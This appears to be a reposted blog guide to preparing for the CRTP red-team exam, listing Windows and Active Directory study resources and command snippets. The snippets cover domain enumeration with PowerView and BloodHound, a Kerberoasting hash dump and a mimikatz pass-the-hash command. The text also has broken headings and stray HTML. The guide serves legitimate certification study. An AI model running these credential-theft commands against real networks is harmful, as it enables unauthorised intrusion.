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Clearing the CRTP (Certified Red Team Professional) exam requires a solid understanding of Windows and Active Directory (AD) fundamentals before diving into exploitation. The course, led by Nikhil Mittal, assumes prior knowledge of these concepts. Below are key steps and resources to prepare effectively.
Recommended Preparation Path
- Windows Fundamentals (Free – Hack The Box Academy)
– Covers core Windows concepts, file systems, permissions, and user management.
2. to Windows Command Line (HTB Academy)
- Learn essential command-line tools for administration and troubleshooting.
3. to Active Directory (Free – HTB Academy)
- Understand AD structure, domains, forests, Group Policy, and trust relationships.
You Should Know: Key Commands and Practices
Windows Command Line Essentials
<h1>User and Group Management</h1> net user # List users net localgroup administrators # Check admin privileges whoami /priv # View current user privileges <h1>Network and Active Directory</h1> nslookup <domain> # Query DNS records net view /domain:<domain> # List machines in a domain dsquery user -name * # Search AD for users <h1>File and Permission Checks</h1> icacls <file_path> # Check file permissions dir /q # View file ownership takeown /f <file> /r /d y # Take ownership of files
#### **Active Directory Enumeration**
<h1>PowerView Commands (For AD Recon)</h1> Get-NetUser | Select samaccountname # List all AD users Get-NetGroup -GroupName "Domain Admins" # Find privileged groups Get-NetComputer -OperatingSystem "<em>Windows</em>" # List all Windows machines <h1>BloodHound (AD Mapping Tool)</h1> bloodhound-python -u <user> -p <pass> -d <domain> -c All
#### **Exploitation Basics (Post-Enumeration)**
<h1>Kerberoasting (Extracting Service Account Hashes)</h1> Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File hashes.txt <h1>Pass-the-Hash Attack</h1> sekurlsa::pth /user:<admin> /domain:<domain> /ntlm:<hash>
### **What Undercode Say**
The CRTP is more about understanding AD architecture than just running exploits. Key takeaways:
– Master PowerShell and command-line tools for Windows.
– Learn BloodHound for visualizing AD attack paths.
– Practice Kerberoasting, Pass-the-Hash, and Golden Ticket attacks in labs.
– Always document findings—note-taking is crucial for revisiting concepts.
### **Expected Output:**
A structured approach to CRTP preparation, emphasizing hands-on practice with Windows and AD commands before exploitation.
**Useful Links:**
References:
Reported By: Garvit Verma – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
